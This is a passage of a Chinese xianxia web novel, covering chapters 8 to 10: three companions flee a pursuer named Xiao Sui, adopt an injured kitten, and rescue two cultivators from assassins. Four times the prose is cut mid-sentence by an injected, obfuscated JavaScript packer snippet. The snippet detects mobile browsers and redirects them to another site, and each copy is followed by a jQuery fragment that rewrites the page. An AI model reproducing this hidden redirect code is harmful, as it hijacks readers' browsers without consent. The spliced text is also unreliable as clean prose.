容识觉出灼夜在看自己,便与他对视,未曾想他纯黑的瞳孔一缩,立即转开了头,耳根微红。 是在害羞? 灼夜有些不好意思:“可是……我也想治病。” “……”云明从墙上弹起来,看上去快要晕厥了,上下打量灼夜好几次:“你有什么病?” 也难怪他看着要崩溃了。 容识有些忍俊不禁。 遇到两个病患,一个快死了却不想治,一个把脉没病却说自己有病。 换了哪个医师都会发疯吧。 灼夜道:“我总觉得我忘了很多东西,这应该叫……” “失忆。”容识饶有趣味地看他。 “对,”灼夜挠挠头,感谢地看着容识,“我总觉得我失忆过,忘了很多东西,这个能治么?” 云明捂着头,伸出手示意让他别说话,“我觉得我有点头疼。” 他陷入了自我怀疑,看着自己的双手呓语道:“你的脉象明明没问题啊,难道是我的医术不精?我医术下降了?还是因为被萧随抓,心灵受到创伤有了什么心理障碍?” 他消沉一会儿,把杂七杂八的心情收拾好,重新振作起来,“算了,也当做疑难杂症吧,不过你的失忆症得先放一放,当务之急是要带容识去寻药。” “他身体状况太差了,需要的药都是难得的天材地宝,药王山没有,得去借。我刚才翻书的时候看了下,我们得去上雁列星宗借醉春风,再去三川容氏借苦海舟。” 位于上雁的列星宗,也是个熟悉的名字。 容识想起一位已经战死的友人桓秋,那是他的宗门。 灼夜点头赞同,容识能感觉到他又偷偷看了自己一眼,接着说:“肯定是容识比较重要。我可以跟你们一起去寻药,反正我也没什么地方能去。” “没什么地方能去,看起来不像啊。”云明看了一下他浑身上下在月光里闪着光泽的宝石,“你一看就是个离家出走的富家小少爷。” 灼夜认真解释:“我不是少爷。真的没地方去。” “好好好你不是……怎么感觉我像是主角身边那个随时随地要被叫起来治病的医师?”云明嘀咕了两句,打了个哈欠,“算了算了。天色已晚,先休息吧,明天赶路!” 话罢便找了个舒服的姿势躺下闭上了眼睛。 这人还真是……一脑门官司,但倒头就睡。 容识双手抱臂,靠着墙闭目。 他没看到灼夜趁他闭眼时多看了他好几眼,悄悄向他身侧挪了挪,这才闭眼睡了。 容识折腾这一遭,身心俱疲,很快便陷入浅眠,就在半梦半醒之际,脚踝处忽然泛起一丝痒意。 他下意识伸手触碰脚踝,却碰到了一手的黏腻。 毛茸茸的、黏腻的、温热的…… 容识心猛地一跳,几乎是一瞬间跳了起来,然而他没注意到离自己很近的灼夜,为了不踩到灼夜身上,两只脚打起架来,失去平衡,重重向后摔去。 “小心!” 他和灼夜的同一句话同时响起,容识腰身一热,后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373073|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摔的速度放缓,被灼夜平稳地扶着腰坐在了地上。 “你没事吧,这是怎么了?” 灼夜的关切响在耳边。 容识捂住狂跳不止的心脏,几欲作呕,借着从破旧门窗照进来的月光,看清刚才在自己脚踝上的是什么。 那是一只浑身沾满了血迹的、瘦瘦小小的橘色小猫。 “怎么了怎么了?萧随追来了?”云明吓得一哆嗦,看到那只猫时镇定下来,“是只猫啊,你被猫抓过?” 他说着从储物袋里取出工具,动作娴熟地给虚弱不堪的小猫处理伤口。 云明本是调笑之语,但灼夜感受着掌下的细微颤抖,觉得可能不止是被猫抓过那么简单。 容识现在的脸色,比大口吐血那时候还夸张,像是见到了恶鬼。 灼夜轻轻拍了拍容识的后背,保证道:“别害怕,有我在,不会让它碰到你的!” 这话说得叫人牙酸,云明想,灼夜连“主角”是什么都不知道,却无师自通话本里那些满篇的酸溜情话,这难道就是天赋异禀? 他一回头,看见容识那鬼一样的脸色,已经到喉咙的话咽了下去。 看来是真的害怕啊…… 他动作很快但不失轻柔,先给小猫喂了止血的药,再把细布扯得更小更细,给小猫包扎好了伤口。 “那个……” 云明犯了难,看向容识,打商量道:“这只猫吧,受伤很严重,就跟你差不多,要是放任它在这里自生自灭的话,它会死的。” 他摸摸小猫没有受伤的头顶,“我就是想说,我们能不能把它带上路?你放心,我会给它套上绳子,而且有灼夜看着,不会让它接近你的,等它好得差不多了,我就放它走……怎么样?” 昏暗的月光照着地上奄奄一息的小猫,它还很小,出生可能只有三四个月,身上的毛都被血迹打湿了,一缕一缕黏在身上,生机比容识更弱几分。 云明摸了摸它的头顶,它闭着眼含含糊糊地发出一声低叫,似乎在回应他。 容识冷静下来,缓缓点了点头。 紧张兮兮的灼夜和云明同时松了口气。 云明嘿嘿笑了两声,对小猫道:“小可怜啊,多亏你遇到了我们,遇到我你算是遇到神医了!” 灼夜看出小猫现下没有生命危险,悬着的心放了下来,扶着容识让他在自己身侧坐下。 和小猫隔着灼夜和云明两个人,容识长长舒了一口气。 他低头看着指尖残留的小猫的血,用衣角擦干净了。 此后一夜安眠。 随山山庄,月色霜雪般铺了满地,屋里未曾点灯,夜风吹来,拂过一地的碎纸,纸上依稀可辨一个年轻修士的容颜。 萧随支着头躺在软榻上,他身前跪着身体微微发抖的守卫长。 “今日之事,全因属下看管不力,还请公子责罚。” 萧随冷笑一声,牵扯到肺腑的伤,他咬牙摊开掌心攥着的东西,那是他找了数十年的人从衣角割下,用来暂时遮面的布料。 那人竟然恨他到如此地步,不惜祭出陨仙阵……上次他用此阵杀了一位大乘期修士后,足足昏迷了三个月,无数天材地宝流水一样送来,都险些没能保住他的命。 那个他们一起制作的傀儡,也被灵力碰撞的爆炸余波震得粉碎。 这么多年,自己倾尽心力去找,却只留下一块布料,当真可笑。 连他都留不住那人,更何况是庄内的守卫? 萧随起身,离得越近,便越清楚地看见守卫长额上滴下的冷汗,他却越过守卫长,来到站在窗前的傀儡身前。 和那人如此相似的面容,却只是一个空荡荡的壳,他摸着那张脸,再也感觉不到一丝的慰藉。 于是他指尖向下压,庞大的灵力灌入,“砰”地一声,又一个傀儡碎成了粉末。 守卫长已是汗如雨下。 萧随只道:“全力追踪,要活的,其他人杀无赦,滚。” “是!”守卫长连忙退下。 萧随走到庭院,视线可见之处,一片狼藉,他看向远处喃喃道:“那个人说的,果然没错……” 接着他消失在月空中,飞向三人逃离的方向。 8. 赶路 皎月落下,打在地面的日光泛起了金辉。 容识睡了很久,睁眼时,看见一双灼灼的眼,不似萧随那般逼视,反而让人很安心,感觉在被关心着。 灼夜看样子是一直守在他身边,见他清醒,担心道:“你睡了好久,有五个时辰,云明说你身体虚弱,睡这么久很正常,是这样么?” 他虽相信云明的医术,却更想从容识本人口中得知他最真实的身体状况。 容识看出这一点,笑了笑,刚要说话,便听外面响起云明的声音:“怎么?你还不相信我?” 容识和灼夜起身走出屋门,看到云明快步走来,唇角含笑,看起来心情不错。 灼夜挠了挠头,有些不知道怎么回答,看向了容识。 容识拍了拍他的肩膀,“他说得没错。不用太担忧。” 云明打量了他一下道:“你恢复挺快的,昨天伤成那样,今天就能自己走路,这体质怪好的,跟脉象一点都不符合……你身体虚弱,但体质特殊,只要吃东西,就是在补身体,所以得多吃。可我储物袋里剩下的吃食不多了,只好去附近城里采购了一些,一路都提心吊胆的,害怕被萧随的手下追踪到。” 他把一个储物袋塞给容识:“这个里面全是吃的,放你那儿方便,你记得有事没事就吃点东西,对身体好。” “好。”容识看了下储物袋,里面的吃食糕点大概能让他吃上一个月。 他在云明身上扫了一圈,看到他腰间那个药篓似乎大了一圈,跟昨日见到的那个不太一样。 云明见他看着药篓,“我特地把小猫放里面的,大小合适,铺了软垫以后,做它的窝正好,而且它在这里面,也不会轻易跑出来。” 容识抬头看天色,“你来回路上,有没有听到萧氏的消息?” 云明摇头:“来去匆忙,没来得及打探。我们该不会真的被萧氏通缉吧?” “很有可能。”容识站得累了,索性坐在门槛上,“你有多余的衣服么?” 灼夜不明所以:“啊?要换衣服?” 云明靠着树道:“当然要换衣服了,你穿得像花孔雀一样,容识穿的又是仙盟服制,太显眼了。要是萧氏的人追上来,那不一看就知道是我们么?” 他从储物袋里掏出了一堆衣服,“你们先选吧。” 灼夜看到那镶金嵌玉的衣服快要掉到地上,一个箭步冲上去捞了起来,眼睛越看越亮,“东海珍珠?红珊瑚玉?蜀锦?这些衣服都是你的?” 云明咳嗽一声,骄傲道:“那可不。我在凡间游历,给那些达官显贵看病,赚了不少,这些都是他们送的。不过他们送的太多了,这里面我自己都没穿过几件。” “你这么厉害!”灼夜感慨地继续翻衣服。 他很喜欢漂亮衣服和各种宝石,看得正入迷,都忘记选衣服了。 容识径直上前,把灼夜放在一边矮树树杈上的那套衣服拿走,回屋里穿上了。 出来时灼夜还在看,云明也不催他。 容识过去按住了他的手,“别看了,待会儿都是要把名贵珠宝拆下来的。” 灼夜一脸不解地抬头,容识看到他瞳孔非常明显地上下震动了几下。 “你……你你你怎么穿了这一身?” 他的惊叫让低头逗弄小猫的云明抬起头来。 死一般的寂静后,云明嘴角抽搐着说了句:“……好丑。” 只见容识上身泛着诡异的绿,下面是尖锐到叫人眼瞎的红。 美人穿了丑衣服这件事让灼夜无法忍受,抓心挠肝:“我把这身放在一边,就是因为它太丑了,你……” 云明思考起来:“我有拿过这么丑的衣服么?” 容识沉默地低头看了下这身衣服,吐出让灼夜和云明绝望的几个字:“还好吧。” “……” 灼夜的头摇得像拨浪鼓,耳挂的流苏打在侧脸也不顾,立刻从衣服堆里刨出一身,塞到容识怀里,哀求道:“换这个试试吧。” 容识觉得他快碎掉了,只能说:“好。” 再出来时,灼夜眼神比他怀里那堆宝石还亮,绝望感飞得无影无踪,满脸都写着“好看”两个字。 容识身上极浅淡的桃青两色层层叠叠,被风吹起,清雅飘逸,好似花神降世。 云明很大力地点头,规劝道:“容识,你以后就别自己选衣服了……” 这是小事,容识不在意,随口答应后照旧坐在门槛上,“这些衣服上的珠宝实在惹眼,记得拆下来。” 他看了眼浑身宝石的灼夜:“你身上的东西也记得取下来。” “嗯,好。”灼夜犹豫了下,还是答应了。 两人换好衣服,打扫了小院里外的痕迹后,容识已做好计划:“此去上雁两千里,要避开萧随手下的跟踪,不能经过城镇上空,速度也不能太快,所以每日只赶路四百里,预计五日后抵达列星宗山脚下的平蔚……” 他的计划,详细到每天晚上要去哪个荒无人迹的山上休息都算好了。 灼夜听得晕晕乎乎,一个劲儿的点头:“好,都听你的。” 云明险些跪下来:“你都没有地图,是怎么安排的?” 容识笑笑:“之前游历过很多地方,所以记得。” 云明脸上是看见天才的惊恐:“只是游历过就能记住?你才十九岁,之前又在山上隐居了几年,那你游历的时候年纪还很小吧,那么小就记得路了……我刚下山那会儿,连地图拿反了都不知道,跟看天书一样。” 他叹气道:“真想跟你们这群天才拼了,我们药王山也有好多妖怪一样的天才,尤其是我师兄……” 云明的话戛然而止,片刻后道:“算了不说了,走吧。” 他召出飞行灵器——一只赭色的药罐盖子,三人上去后,灵器贴地飞行,速度逐渐变快,迎面的风也带了难以忽视的冷意。 容识骤然呛了一口冷风,咳嗽了几下。 灼夜见状,问云明要来一件黑裘披在容识身上,挪到他身前坐着,为他挡风。 看着被黑裘包裹住,坐在那里团成一团的容识,灼夜忍不住小声道:“好像黑糯米糕啊。” 容识被逗笑,看着灼夜的一身青绿色衣衫道:“你倒是像只青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373074|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团。” 他把满身的金玉珠宝取下来后,有种天然去雕饰之感,在灼热的夏季叫人眼前一亮,仿佛看到了山间溪流,清冽澄净,心情都变好许多。 “真的么?”灼夜眼睛亮亮的,“只是我没吃过青团,不知道什么味道。等碰到卖青团的,我们买他个一百只尝尝,嘿嘿。” “好啊。”容识笑道。 灼夜似乎对衣服、饰品和吃食都有莫大的兴趣。 云明忽然听到一声细微的猫叫,低头看到小猫蜷缩在药篓角落,一拍自己脑门:“哎呦我忘了,是不是冷啊?” 他说着取出几件不穿的衣服塞进药篓里,把三个方向挡得严严实实,只剩背风那一面。 “现在是不是不冷了?”云明捧着药篓,观察小猫的情况。 小猫不再喊叫,两只前脚搭在厚厚的垫子上面踩了踩,云明惊喜道:“它在踩奶!好乖啊。” “真的?”灼夜转过身去看小猫,他没忘记容识怕猫,用身体把容识的视线挡住了。 “我们要不给它取个名字吧。”云明伸手逗小猫。 小猫还是没什么力气,却用爪子碰了碰云明的手指,叫了两声。云明犯起了难:“要是能知道小猫在说什么就好了,给它取什么名字啊?” “那有什么难的?”灼夜和小猫对视,笑着问:“小猫,你想叫什么名字?” 小猫又叫了两声,灼夜疑惑地问它:“为什么?” 听了问题,小猫又叫了,一人一猫好像真的在对话,云明大受震撼。 容识看着一脸认真的灼夜陷入思索,修真界能人异士众多,能听懂动物说话的人虽少,但也不是没有…… “我明白了。”灼夜跟小猫说完,胸有成竹,“它说它想叫‘糯米’。” 云明整个人后仰了一下:“你真能听懂?” 灼夜轻松道:“能啊,我天生就能。” ……天生就能?灼夜不会说谎,应该是真的,容识默默数着他身上的异常。 “真是大千世界无奇不有,”云明深深地吸气,“你和容识还真是一个比一个天才,一个比一个奇怪……那它说了为什么想叫这个名字么?” 灼夜扭头看了下容识,发现容识也在看自己,他挠挠头:“它说因为我刚才说容识像黑糯米糕,它觉得叫糯米很可爱。” “……” 容识透过药篓的缝隙看见小猫,小猫又踩了几下软垫。 这是……友好的意思? “好吧,”云明很快接受了这个名字,“虽然这理由没什么逻辑,但它开心就行。” 灼夜迫不及待,高兴地跟小猫说:“糯米,你开心么?” 接着自顾自道:“说了半天,我也想吃糯米糕了……” 容识想明白灼夜的秘密后,不由得轻叹一声。 力气巨大、浑身宝石却不是富家公子、不知道修真界最基本的常识、能和动物对话,还是从山庄出逃的三人中,唯一一个身份不明的人。 而之前云明说,被抓到山庄的凤凰也跑了。 也许灼夜,就是那个跑掉的凤凰呢? 9. 意外 容识从储物袋里取出一块枣糕:“糯米糕没有,不过枣糕有几块,吃么?” “吃!”灼夜眼睛一亮,双手接过枣糕开始啃,“好甜,好吃!” 容识手撑着脸看他吃东西,心中挂着的事终于卸下来一些。还以为要很久才能找到凤凰,不想阴差阳错之下,他们在萧随的山庄遇到了。 不过灼夜到底是不是当年救他的那只凤凰,还不好说。 灼夜觉得自己失忆过,莫非是因为当年掉到千重渊,记忆受到了影响? 吃完了枣糕,灼夜摸着底下的药罐盖子,忍不住问:“云明,为什么你的飞行灵器长这样?修士不都是御剑飞行的么?” 他总有很多的问题,却不会让人觉得厌烦。 云明闻言道:“想御剑也得有合适的剑啊,采购剑器要花很多钱的。而且自从几年前,药王山为方便弟子们在外行走,把大多数汤药都改成药丸药粉后,很多煮药的药罐就都废弃了,我们长老觉得怪可惜的,一看这药罐盖子倒过来挺适合做飞行灵器,就都改造成这样了。” “我明白了。”灼夜看着裹得严严实实的容识,顿时来了灵感,“那为什么不干脆把床做成飞行灵器?累了还可以盖上被子休息。” “……好有道理。”云明仿佛大彻大悟,“我怎么就没有想到?不过有点难度,御器飞行要集中精神,闲聊几句没什么,但万一躺下以后不小心睡着了就完了,掉下去可就东一块西一块的了,我师尊都不一定能拼起来。” 灼夜沉默了,不太敢想东一块西一块的场面。 天色暗下来之前,灵器降落在一个人迹罕至的高山中,容识带路找到了一处山洞,掩盖在参天巨木葱郁树叶之下,洞内宽阔,可以容纳十数人休息,也没什么野兽。 “这么偏僻的山洞,你是怎么发现的?”云明敲了敲四周的石壁,一块石子儿都没有掉下,说明不容易塌陷。 “游历时恰逢大雨,偶然找到这里的。”容识找了一块石头坐下,取出一块胡饼吃。 灼夜坐灵器坐了一天,已经从最开始的兴奋好奇变成麻木,跟着坐到容识身侧数着数:“还有四天才到……” 云明道:“我们已经很快了,得亏容识的安排,路上没遇到萧随的人。不过上了列星宗,还是有一场恶战,得提前做好准备。” 灼夜更绝望了:“啊?还要打架么?不是说列星宗是名门正派么?” 云明叹气:“是啊,可列星宗宗主性格孤僻暴躁,想借药,你得闯过宗主亲手设置的三道难关,他是机关阵法大家,那难度可想而知,一点都不比逃出萧随那个山庄容易。每个月也只有月初那三天开门,别的时间别说闯过难关了,连列星宗的门都进不了。” 容识心想,这列星宗宗主的脾性倒是一点没变。 极端的善和恶灼夜都见过,却不知道该怎么理解列星宗宗主这样的人,只好问:“那仙盟不管管么?” “宗主又没有伤天害理,况且醉春风产量极少,是列星宗独有,仙盟也管不到啊。”云明翻开医书记载醉春风的那一页。 “列星宗在战时因为内斗,分裂为两派,一个支持清源盟,一个支持旧仙盟,战后支持旧仙盟那些人被一举歼灭,现在的列星宗,就因为醉春风,地位一点都没有受到影响。” 容识和灼夜看到医书上的字。 云明照着书解释道:“醉春风,能滋养灵脉提升灵力,对治疗天人五衰有奇效,延缓寿命,还能解世上大部分毒药,最重要的是没什么副作用,药性很温和,很适合容识。” 他握紧了拳:“这次说什么都要借到药,我们药王山建宗几千年都没有一株醉春风,我也只能在书上看到它的样子,要是有机会用这样的天材地宝治好容识这种疑难杂症,那我的名字应该能进药王山史吧。” 四天转瞬即逝,灼夜快坐不住了,蔫了似的垂着头,隔一会儿就问容识还有多远才到,容识每次都笑吟吟地回答他。 云明看他那丧失活力的样子,啧啧道:“这就受不了了,这一趟起码是三个人加一只猫,无聊了还能说说话逗逗猫,你是不知道,我之前从药王山回老家的时候,一个人飞了整整十天,十天啊,你知道我那十天是怎么过的么?” 灼夜绝望地“啊”了一声,“那么远,你老家是哪里的?还有,药王山在哪里啊?” 云明道:“我老家在南海,药王山在怀温,离得十万八千里。等闲下来我带你们去南海玩,我爹娘和伯父伯母老是怕我交不到朋友,他们也太操心了,到时候把你们带过去让他们好好看看。” 容识不由得看了他一眼。南海,真是个熟悉的地方啊。 “南海……在哪儿啊?”灼夜声音越来越低。 容识把自己从回忆里拔出来,侧头看向灼夜。他双手交叠在一起,无意识地摩擦着,有些无措。 容识问云明:“有九州地图么?” “有有有。”云明从储物袋内掏出一张地图递给了他。 容识拿着地图横在灼夜眼前,灼夜看了他一眼,顺从地捏住了地图的一侧。 他伸手点在九州最南的地方:“这里是南海。” 接着他点到九州中间靠右的位置:“这里就是怀温,药王山就在怀温郊外。药王山是山名,也是派名。” 他给灼夜陆续指了北地、上雁、三川、中州的位置,灼夜眼睛逐渐亮了起来,里面盛满了学到新东西的兴奋和有趣。 容识趁热打铁问:“你……是从哪里来的?” 他没有问灼夜的家乡在哪儿,凤凰是神兽,诞生于上古时期,后来数量逐渐减少,近万年来都少有记载。 只是六百年前,一位企图用阵法吸干修真界所有修士气运和灵力的逆贼伏诛后,大阵溃散,灵气复苏,使得很多早已不闻于世的神兽灵兽现世。 灼夜大约也是因为灵气复苏醒来的。 这样的身份和背景,很难细究他的家乡究竟是哪里。 灼夜仍是毫无保留:“嗯……应该是玉池吧,玉池在哪儿?” 容识指了指九州西南:“在那里。” “在这里啊……”灼夜拿着地图研究起来。 他的烦恼来得快去得也快,这样就很好,心中没有挂碍,去哪里都是自由。 容识抬头看向远处的列星山,估算了距离,还有五十里,大约要一个时辰。 正想着借药的事,突然听到刀剑相撞的脆音,他向前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373075|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望去,只看到层层叠叠的茂密绿叶。 “云明,减速。”他沉声道,“前方三里有打斗的声音。” “什么?”云明疑惑着降了速。 灼夜同时抬头,侧头用耳朵听了听:“好像是有!” “你们这耳朵什么做的,这么灵?”云明嘀咕了一句,压低声音问:“那现在怎么办,绕路?” 容识没有作出决定,反是问道:“十个死士围攻两位年轻修士,怕是不义不平之事,你们觉得……应当如何?” “真的?”灼夜一把将地图合上,蹦起来道:“太过分了,怎么能这么欺负人呢?路见不平,肯定是要拔刀相助啊!” 说完豪言壮语,他低下头看着容识,有些迟疑:“那个……我想去帮忙,可以么?” 他想到自己曾被抓去山庄的经历,想去帮忙,又总觉得容识比自己聪明,听容识的肯定没错。 被灼夜和云明两人盯着,容识浅笑道:“来都来了,哪有见死不救的道理,走。” “走”字还没说完,药罐盖子“嗖”的一下掠出百丈远,容识猝不及防,没来得及抬手挡风,只觉脑后一松,长发顿时凌乱飘飞,回头看去,用来束发的那根树枝被强风吹落了。 灼夜提醒道:“你的头发……” 他话没说完,药罐盖子便停了下来,只见八个打扮各异的人正在围攻两位女修,身穿粉衣的那位体力不支,单膝跪地,巨大的重锤距离她的头顶只有三尺。 “住手!”灼夜的拳头眨眼间把那重锤砸得偏离出去,粉衣女修趁机起身后撤。 云明被灼夜那么快的速度晃得眼花了一瞬,跟着上前加入了战斗。 容识看着两人的热血模样,心下感慨,少年心性,随心而为,挺好的。 他从地上选了根粗细长短都合适的树枝,在药罐盖子边缘坐下,重新把头发束起来,接着从储物袋里取出一块枣糕,一边吃一边观战。 那八人都是金丹后期,两人用铁锤铁斧,力大无比;两人用毒,防不胜防,外圈两个压制四人境界的法修,两个用弩箭让四人处处提防,没法施展全力。 反观他们这边,灼夜空手没有武器,云明四面八方全是敌人,顾了这头那头一个铁锤就劈下来。黑衣女修用剑,剑术很高,但战斗时间长了,有些疲累,粉衣女修武器是白绫,已将近力竭。 八人手法招招致命,一看就是杀人的行家,灼夜云明和两位女修实战经验不足,难以应付很正常。 容识一手在自己四周刻阵,一手用灵力托起八颗石子,阵法完成的瞬间,八颗石子精准打穿八人或拿武器或正施法的手腕,留下一个个可怖的血洞,天衣无缝的配合出现了一刹那的裂痕。 他语速很快:“灼夜,去对付东北角那两人,他们善用蛮力,你力气更大。云明,解决东南角两人,用毒用药,你更擅长。” “穿黑衣的那位仙友,可以对付西南角两人,法修体弱,长剑近身可破之。穿桃粉色的仙友,西北角那两个用弩箭的,用白绫缴了他们的武器。” 至于没有出现的那两人…… 容识的枣糕吃了一半,身前破空之声乍响,两只细小的飞刀眨眼间射向他的头部和心脏! 10. 说书 飞刀离容识三尺时猛然停滞在空中。 他没有抬头,并指后手腕一转,三只飞刀生生转向,沿来时路线而去。 “噗”的两声,飞刀没入身体,两个人从不远处树上掉下来,已没了气息,飞刀分别刺入他们的眉心和心脏处。 那边灼夜打晕两人,云明毒倒两人,黑衣女修杀了两人,粉衣女修勒晕两人,此战告捷。 灼夜兴冲冲地飞奔回容识身边:“容识,我们赢了,你好厉害!” 云明喘着气慢吞吞走回来:“累死我了,要不是你,感觉我要交代在这里了。最近这修真界到底是怎么了,走到哪儿都能碰到法外狂徒。” 那两位女修上前郑重行了礼,黑衣女修长发全部束起,十分干练,脸色却泛着苍白,眼下乌青明显,状态不佳,只道:“多谢几位仙友。” 粉衣女修笑得甜美:“谢谢三位哥哥。” 容识颔首道:“举手之劳。” 云明看几个地上躺着的人:“那这些人怎么处理,我们还得赶路,要是现在上报仙盟……” “杀了吧。”容识淡淡道。 他说话很随意,很难想象这是在决定那么多人的生死。 “啊?”灼夜没反应过来,一时间都恍惚了。 云明无言片刻,“那个,我们要不要再……” 话未说完,他耳边“叮”的一声响,回头看去,脚边躺着一只飞刀碎片。 云明意识到什么,猛然看向容识。 容识的手还维持着并指的姿势,很显然,方才是容识掷了一块石子打碎了那只飞刀。 要不然,现下躺在地上的就是他了。 下一刻,剑气刺入人体的声音响起,黑衣女修手起剑落,暴起的那个死士还没站稳,就又倒下了。 她的剑没有停下,剑气冷如冰雪,刺穿了所有死士的胸膛。 本来因为那句轻描淡写的“杀了吧”而心中复杂的两个人,现在都明白了容识。 灼夜皱眉看着一堆尸体:“他们……刚才有人在装晕?” 黑衣女修收剑入鞘,冷淡道:“是。诡计多端,该杀。” 许是见灼夜和云明脸色不太好,粉衣女修安慰道:“不必难过,做死士是这样的,只能晌午出任务。” 灼夜的求知欲让他问:“为什么?” 女修道:“因为早晚会死啊。” 灼夜和云明都没忍住笑了一声。 云明捂着嘴,心情有些复杂:“虽然……但是,可是真的有点好笑……” 灼夜笑完以后,坐在容识身侧:“但我们这样,是不是不太好啊?” 容识拍拍他的肩,“对上死士,只有你死我亡的结局,我们只是想活而已,想活并没有错。” “是么……”灼夜闷闷道。 他大概从没杀过人,此生经历过最凶险的事,估计就是遇到萧随。即便对面只是想要他们命的死士,面对生死这样的大事,一时半会儿想不开也很正常。 容识取出一块芝麻糖递给他:“吃么?” 灼夜默默接过吃了。 “你们对我和姐姐有救命之恩,不知道三位哥哥都叫什么,我们会一直记住你们的!”粉衣女修上前几步,“差点忘了,我叫青音,姐姐叫兰玦。” “灼夜。” “哦,我叫云明。” 容识还没说话,两人就都把名字说出去了,他心下叹了口气,道:“容识。” “我们记住了!”青音靠在兰玦身上,重重地点头。 姓名都交换了,容识不得不问:“冒昧一问,这些死士为什么要杀你们?” 而且方才他就注意到了,兰玦的剑法有些眼熟,莫不是某位故人的徒弟或是女儿? 青音抓着身前的两条辫子,解释道:“因为我们想去列星宗借醉春风,给姐姐修炼用,走到这儿的时候就遇上了这些人。” 灼夜更受震撼:“只是因为你们想借药,他们就要……杀了你们?” “对啊,”青音点点头,“你们还不知道吧,最近几年醉春风产量越来越少,想借药的人却越来越多,为了提高自己成功的几率,会有人专门在开山门的前几天,在列星宗附近伏击前来借药的修士。这些死士就是来为雇主解决其他竞争者的。” “啊?”灼夜芝麻糖都不嚼了。 “还有这种事?”云明愣住了。 “原来如此。”事实和容识预想的差不多,他没感到意外。 沉默许久,云明才想到原来他们的目标都是借药,“这么多死士要杀借药的人,你们……还要去列星宗么?” 兰玦和青音异口同声:“当然。” 两人年龄看起来与他们相仿,面对死士围杀却很淡然,不知道是不是经历过许多类似的事。 青音一拍兰玦的肩膀:“提升境界是姐姐多年所求,这次,我们志在必得!” 容识颔首道:“那两位仙友往后多加小心。我们还要赶路,就此别过。” “三位哥哥,再会!” 云明很快收拾好心情,他是医者,之前游历时见的人多事多,消化接受不了的东西自然更快。 道别后三人坐上了药罐盖子,灵器继续朝着平蔚的方向而去。 直到城外,云明收了灵器,灼夜的表情还有些恍惚。 容识从云明手中接过两只帷帽,自己戴上一个,给沉浸想事情的灼夜头上扣了一个,“还有三日列星宗才开山门,我们得在城中住三天。” 帽檐垂下来的皂纱遮住了脸,灼夜只觉得眼前突然黑了,晃过神来才发现头上的帷帽。 他撩起皂纱的一角,凑近容识问:“为什么我们要戴这个?” 容识道:“萧随可能会叫人画下我们的样貌,让下属靠画像追踪我们,戴上帷帽不容易被看到脸,也就不容易被他的下属发现。” 正是盛夏,虽然将近傍晚,但日头毒辣得能将人灼伤,街上很多人都戴着帷帽,他们隐在其中,就像一粒沙子落进了整片沙漠,找起来不说难如登天,也是麻烦得很。 “哦……”灼夜不太适应脸前面有东西挡着,却觉得容识说的话很有道理,便乖乖戴好了帷帽。 进城后,容识找了一家价格、位置、菜品都是中等的客栈,三人一人一间住进了客栈三楼。 晚饭时分,容识叫了三人份的饭送上来,叫上灼夜和云明一起吃饭。 灼夜菜吃到嘴里了,才记起来问:“容识,我和云明都辟谷了,为什么要叫我们的饭?” 容识道:“青音说会有人雇死士来杀借药的人,所以我们要伪装成普通的凡间人,凡人都是要吃饭的。如果三个人没带口粮,住进来这几日,不让客栈送饭也不出门买饭,那只能说明,三人都是已经辟谷的修士。” “这么复杂啊……”灼夜显然还没从这些险恶人心中走出来。 下一刻他突然两眼放光:“这个红烧肉真好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373076|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃!” 容识忍不住笑起来,“那走之前多买点,放储物袋里。” “好!”灼夜心满意足。 这时忽听一声惊堂木,外面传来男人故作低沉的声音:“说起这萧氏二公子,大家想到的,大多都是他屡立战功力挽狂澜的事儿,想必也听腻了,今儿我给大家说点不一样的!” 容识吃饱了,闻言放下了筷子。 之前掌柜说午饭和晚饭时,会有说书先生在客栈大堂讲故事,给大家解闷逗乐,但…… 怎么走到哪里都能听到萧随的事? 不过萧随从前是个传奇人物,性情变化又大,在修真界还很年轻,的确是个编故事传八卦的好人选。 听声音,外面大堂里的人不少。 